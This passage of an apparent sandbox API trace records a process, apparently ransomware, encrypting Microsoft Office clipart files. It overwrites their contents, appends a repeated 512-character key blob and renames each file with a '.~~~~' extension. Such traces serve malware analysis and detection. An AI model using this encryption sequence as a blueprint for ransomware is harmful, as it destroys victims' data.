	[0098.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e808
	[0098.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.272] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0098.286] GetLastError () returned 0x0
	[0098.286] GetLastError () returned 0x0
	[0098.286] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0098.286] GetLastError () returned 0x0
	[0098.286] GetLastError () returned 0x0
	[0099.029] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd5ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.029] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2a54, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x2a54, lpOverlapped=0x0) returned 1
	[0099.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.032] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.032] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.032] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.032] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.032] CloseHandle (hObject=0x128) returned 1
	[0099.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.033] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.~~~~")) returned 1
	[0099.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.034] GetLastError () returned 0x0
	[0099.034] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.035] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.035] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.035] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21902518853) returned 1
	[0099.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4b83e10, dwHighDateTime=0x1d60e1e)) 
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841bf8
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841bf8 | out: hHeap=0x300000) returned 1
	[0099.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e9d0
	[0099.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.036] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.036] GetLastError () returned 0x0
	[0099.036] GetLastError () returned 0x0
	[0099.036] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.036] GetLastError () returned 0x0
	[0099.036] GetLastError () returned 0x0
	[0099.060] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffba35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.060] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x45cb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x45cb, lpOverlapped=0x0) returned 1
	[0099.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.061] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.061] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.061] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.061] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.061] CloseHandle (hObject=0x128) returned 1
	[0099.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.~~~~")) returned 1
	[0099.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.075] GetLastError () returned 0x0
	[0099.075] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.076] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.076] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21906609044) returned 1
	[0099.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4bf6230, dwHighDateTime=0x1d60e1e)) 
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841d48
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841d48 | out: hHeap=0x300000) returned 1
	[0099.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f9d8
	[0099.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.077] GetLastError () returned 0x0
	[0099.077] GetLastError () returned 0x0
	[0099.077] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.077] GetLastError () returned 0x0
	[0099.077] GetLastError () returned 0x0
	[0099.112] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff658a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.113] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x9a76, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x9a76, lpOverlapped=0x0) returned 1
	[0099.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.114] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.114] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.114] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.114] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.114] CloseHandle (hObject=0x128) returned 1
	[0099.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.114] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.~~~~")) returned 1
	[0099.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.115] GetLastError () returned 0x0
	[0099.119] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.120] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.120] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.120] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21911047584) returned 1
	[0099.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4c68650, dwHighDateTime=0x1d60e1e)) 
	[0099.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841e60
	[0099.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841e60 | out: hHeap=0x300000) returned 1
	[0099.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fd68
	[0099.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.121] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.121] GetLastError () returned 0x0
	[0099.121] GetLastError () returned 0x0
	[0099.121] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.121] GetLastError () returned 0x0
	[0099.121] GetLastError () returned 0x0
	[0099.124] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff94ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.125] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x6b01, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x6b01, lpOverlapped=0x0) returned 1
	[0099.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.125] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.125] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.125] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.125] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.126] CloseHandle (hObject=0xc4) returned 1
	[0099.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.~~~~")) returned 1
	[0099.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.126] GetLastError () returned 0x0
	[0099.127] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.128] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.128] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.129] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21911872960) returned 1
	[0099.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4c68650, dwHighDateTime=0x1d60e1e)) 
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841e98
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841e98 | out: hHeap=0x300000) returned 1
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860060
	[0099.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.129] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.129] GetLastError () returned 0x0
	[0099.130] GetLastError () returned 0x0
	[0099.130] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.130] GetLastError () returned 0x0
	[0099.130] GetLastError () returned 0x0
	[0099.134] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff02de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.134] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xfd22, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xfd22, lpOverlapped=0x0) returned 1
	[0099.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.135] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.135] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.135] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.135] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.136] CloseHandle (hObject=0xc4) returned 1
	[0099.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.~~~~")) returned 1
	[0099.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.137] GetLastError () returned 0x0
	[0099.137] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2949538) returned 1
	[0099.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0099.138] CryptReleaseContext (hProv=0x2949538, dwFlags=0x0) returned 1
	[0099.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.138] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21912826330) returned 1
	[0099.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4c8e7b0, dwHighDateTime=0x1d60e1e)) 
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841f08
	[0099.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841f08 | out: hHeap=0x300000) returned 1
	[0099.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
